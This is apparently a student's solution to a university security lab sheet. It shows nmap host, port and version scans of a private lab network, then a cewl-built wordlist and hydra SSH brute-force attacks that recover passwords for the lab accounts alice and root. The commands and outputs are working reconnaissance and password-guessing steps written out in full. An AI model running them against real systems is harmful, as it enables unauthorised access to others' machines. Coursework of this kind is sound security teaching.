Secure and Dependable Systems Jacobs University Bremen April 28th, 2020
Arsenij Percov

Problem Sheet 9

Problem 9.1

Solution:

a)
nmap -sL 192.168.56.2/24
nmap -sn 192.168.56.2/24
The later produced the following output:

```
Starting Nmap 7.60 ( https://nmap.org ) at 2020-04-25 18:16 CEST
Nmap scan report for apercov-lenovo-y520-15ikbn (192.168.56.1)
Host is up (0.00065s latency).
Nmap scan report for 192.168.56.2
Host is up (0.00083s latency).
Nmap scan report for 192.168.56.88
Host is up (0.00084s latency).
Nmap scan report for 192.168.56.123
Host is up (0.00081s latency).
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.22 seconds
```

After that I ran the following command:
nmap -Pn -p- -open 192.168.56.2 192.168.56.88 192.168.56.123
-Pn would only look for ports assuming all hosts are online, which is true since we already did host check before and provided only active hosts ips.
-p- scans full range of ports
-open will output only open ports
Output:

```
Nmap scan report for 192.168.56.2
Host is up (0.00078s latency).
Not shown: 60687 filtered ports, 4846 closed ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain

Nmap scan report for 192.168.56.88
Host is up (0.00086s latency).
Not shown: 62073 filtered ports, 3460 closed ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain

Nmap scan report for 192.168.56.123
Host is up (0.00075s latency).
Not shown: 61530 filtered ports, 4003 closed ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain

Nmap done: 3 IP addresses (3 hosts up) scanned in 491.57 seconds
```

b)
Now, since we know the ports we can run the following command (knowing port reduce running time since we narrow the checks):

nmap -sV -p 22 192.168.56.2
-sV outputs the version of the service running
Output:

```
Starting Nmap 7.60 ( https://nmap.org ) at 2020-04-25 18:55 CEST
Nmap scan report for 192.168.56.2
Host is up (0.00032s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     Dropbear sshd (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submi
Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
```

Answer: Dropbear SSHd 2.0

Problem 9.2

Solution:

a)
I used cewl to create dictionary from website wuth all flowers name.

```
cewl -w ./Documents/Secure_and_Dependable_Systems/9/flowerspass.txt https://www.all-my-fav

hydra -t 16 -l alice -P flowerpass_l.txt  ssh://192.168.56.2:22
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service or

Hydra (http://www.thc.org/thc-hydra) starting at 2020-04-29 21:46:23
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to
[DATA] max 16 tasks per 1 server, overall 16 tasks, 9647 login tries (l:1/p:9647), ˜603 tr
[DATA] attacking ssh://192.168.56.2:22/
f[STATUS] 1300.00 tries/min, 1300 tries in 00:01h, 8380 to do in 00:07h, 16 active
[22][ssh] host: 192.168.56.2   login: alice   password: orchid
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 9 final worker threads did not complete until end.
[ERROR] 9 targets did not resolve or could not be connected
[ERROR] 16 targets did not complete
Hydra (http://www.thc.org/thc-hydra) finished at 2020-04-29 21:47:31
```

orchid b)

c)

```
hydra -t 16 -l root -P cain.txt ssh://192.168.56.2:22
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service or

Hydra (http://www.thc.org/thc-hydra) starting at 2020-04-30 16:56:51
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to
[DATA] max 16 tasks per 1 server, overall 16 tasks, 306706 login tries (l:1/p:306706), ˜19
[DATA] attacking ssh://192.168.56.2:22/
[STATUS] 1324.00 tries/min, 1324 tries in 00:01h, 305415 to do in 03:51h, 16 active
[22][ssh] host: 192.168.56.2   login: root   password: access
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 14 final worker threads did not complete until end.
[ERROR] 14 targets did not resolve or could not be connected
[ERROR] 16 targets did not complete
Hydra (http://www.thc.org/thc-hydra) finished at 2020-04-30 16:58:21
```

access